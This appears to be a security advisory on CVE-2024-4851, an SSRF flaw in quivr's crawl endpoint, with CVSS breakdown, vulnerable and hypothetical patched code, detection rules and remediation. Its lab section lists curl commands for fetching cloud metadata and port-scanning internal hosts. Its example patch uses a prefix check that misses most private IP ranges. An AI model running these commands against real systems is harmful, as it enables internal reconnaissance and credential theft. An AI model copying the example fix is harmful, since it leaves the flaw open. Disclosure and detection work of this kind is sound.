CVE-2024-4851

Executive Summary

CVE-2024-4851 is a Server-Side Request Forgery (SSRF) vulnerability in the stangirard/quivr application, version 0.0.204. The flaw resides in the crawl endpoint, where the url parameter can be manipulated to force the server to make HTTP requests to arbitrary internal or external destinations. This allows an unauthenticated attacker to probe and interact with internal network services that are accessible from the application server, potentially leading to data exfiltration, lateral movement, or further compromise of internal infrastructure. The vulnerability is classified as CWE-918 (Server-Side Request Forgery) and carries a CVSS score of 7.7 (High). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the quivr application, which is a Python-based project (likely using PyPI dependencies). The SSRF flaw is in the application’s own code, not in a third-party package. However, the risk is amplified if the application is deployed in a containerized or cloud environment where internal metadata services (e.g., AWS EC2 metadata, GCP metadata) are accessible. Organizations using quivr should treat this as a critical supply chain risk and immediately isolate the application from sensitive internal networks until a patch is applied.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Internal network services may be exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.7 (High)

Threat Level: High – The vulnerability is easy to exploit and can lead to significant internal network reconnaissance and data exposure.

Deep Dive & Mechanics

The vulnerability is located in the backend/routes/crawl_routes.py file, specifically within the crawl_endpoint function. The endpoint accepts a url parameter and uses it to make an HTTP request to the specified URL without proper validation or sanitization. An attacker can supply a URL pointing to an internal IP address (e.g., http://169.254.169.254/ for cloud metadata, http://10.0.0.1/ for internal services) and the server will fetch that resource, returning the response to the attacker.

Key Code Snippet (Vulnerable):

# backend/routes/crawl_routes.py (simplified)
from flask import request
import requests

def crawl_endpoint():
    url = request.args.get('url')
    response = requests.get(url)  # No validation
    return response.text

The lack of a URL allowlist or blocklist, combined with the absence of network-level restrictions, makes this a classic SSRF vulnerability. The attacker can use this to:

• Scan internal network ranges.
• Access cloud metadata endpoints (e.g., AWS, GCP, Azure).
• Interact with internal services like databases, caches, or admin panels.
• Potentially chain with other vulnerabilities for remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.0.204):

# backend/routes/crawl_routes.py
def crawl_endpoint():
    url = request.args.get('url')
    response = requests.get(url)
    return response.text

Patched Code (hypothetical fix):

# backend/routes/crawl_routes.py
import re
from urllib.parse import urlparse

ALLOWED_HOSTS = ['example.com', 'api.example.com']
BLOCKED_IPS = ['169.254.169.254', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16']

def is_safe_url(url):
    parsed = urlparse(url)
    host = parsed.hostname
    # Check if host is in allowed list
    if host not in ALLOWED_HOSTS:
        return False
    # Resolve IP and check against blocked ranges
    import socket
    try:
        ip = socket.gethostbyname(host)
        for blocked in BLOCKED_IPS:
            if ip.startswith(blocked.split('/')[0]):  # Simplified check
                return False
    except:
        return False
    return True

def crawl_endpoint():
    url = request.args.get('url')
    if not is_safe_url(url):
        return "Forbidden", 403
    response = requests.get(url)
    return response.text

Note: The patched code above is a conceptual example. The official patch may differ.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy quivr version 0.0.204 in a Docker container with internal network access.
2. Set up a simple internal HTTP server (e.g., python -m http.server 8080) on a separate container.
3. Use the following curl command to exploit the SSRF:

# Exploit to access internal service
curl "http://target-quivr:5000/crawl?url=http://internal-server:8080/secret.txt"

Advanced Exploitation:

• Cloud Metadata Extraction:

  curl "http://target-quivr:5000/crawl?url=http://169.254.169.254/latest/meta-data/"
  

• Port Scanning:

  for port in 80 443 8080 3306; do
    curl -s "http://target-quivr:5000/crawl?url=http://10.0.0.1:$port/" | head -c 100
  done
  

No public exploit code is available from Exploit-DB.

Blue Team (Defensive)

Detection & Response:

• Monitor outbound HTTP requests from the quivr server to unexpected internal IPs.
• Use network segmentation to block the quivr server from accessing internal networks.
• Implement a Web Application Firewall (WAF) rule to block requests to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
• Enable logging on the quivr server and review crawl endpoint access logs for suspicious URLs.

Hunting Queries:

• Search for requests to 169.254.169.254 or other private IPs in web server logs.
• Look for repeated requests to different IPs/ports from the same source (port scanning behavior).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the quivr server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
  • Requests to cloud metadata endpoints (e.g., http://169.254.169.254/).
  • Unusual patterns of requests to multiple internal IPs/ports (scanning).

• Log IOCs:

  • crawl endpoint logs containing URLs with private IPs.
  • Error logs showing connection attempts to unreachable internal hosts.

• File IOCs:

  • No specific file-based IOCs; the vulnerability is network-based.

Detection Engineering

YARA Rule

rule CVE_2024_4851_SSRF_Quivr {
    meta:
        description = "Detects SSRF exploitation attempts against quivr crawl endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4851"
    strings:
        $url_param = "url=" nocase
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
        $metadata = "169.254.169.254" nocase
    condition:
        $url_param and ($private_ip or $metadata)
}

Sigma Rule

title: SSRF Exploitation Against Quivr Crawl Endpoint
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to private IPs or cloud metadata endpoints via quivr crawl endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "url="
        cs-uri-query|contains:
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
            - "169.254."
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4851 SSRF Attempt - Quivr Crawl to Private IP"; flow:to_server; content:"url="; http_uri; pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the quivr server from internal networks using firewall rules or network segmentation.
2. Disable the crawl endpoint if not essential, or restrict it to only allow requests to a predefined allowlist of external URLs.
3. Apply input validation to the url parameter: reject any URL that resolves to a private IP range or cloud metadata IP.

Long-term Fix:

• Upgrade to a patched version of quivr once available.
• Implement a URL validation library that blocks private and link-local addresses.
• Use a proxy or gateway that enforces network-level restrictions on outbound traffic from the application.

Workaround:

• Modify the crawl_endpoint function to use a hardcoded list of allowed domains and reject all others.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert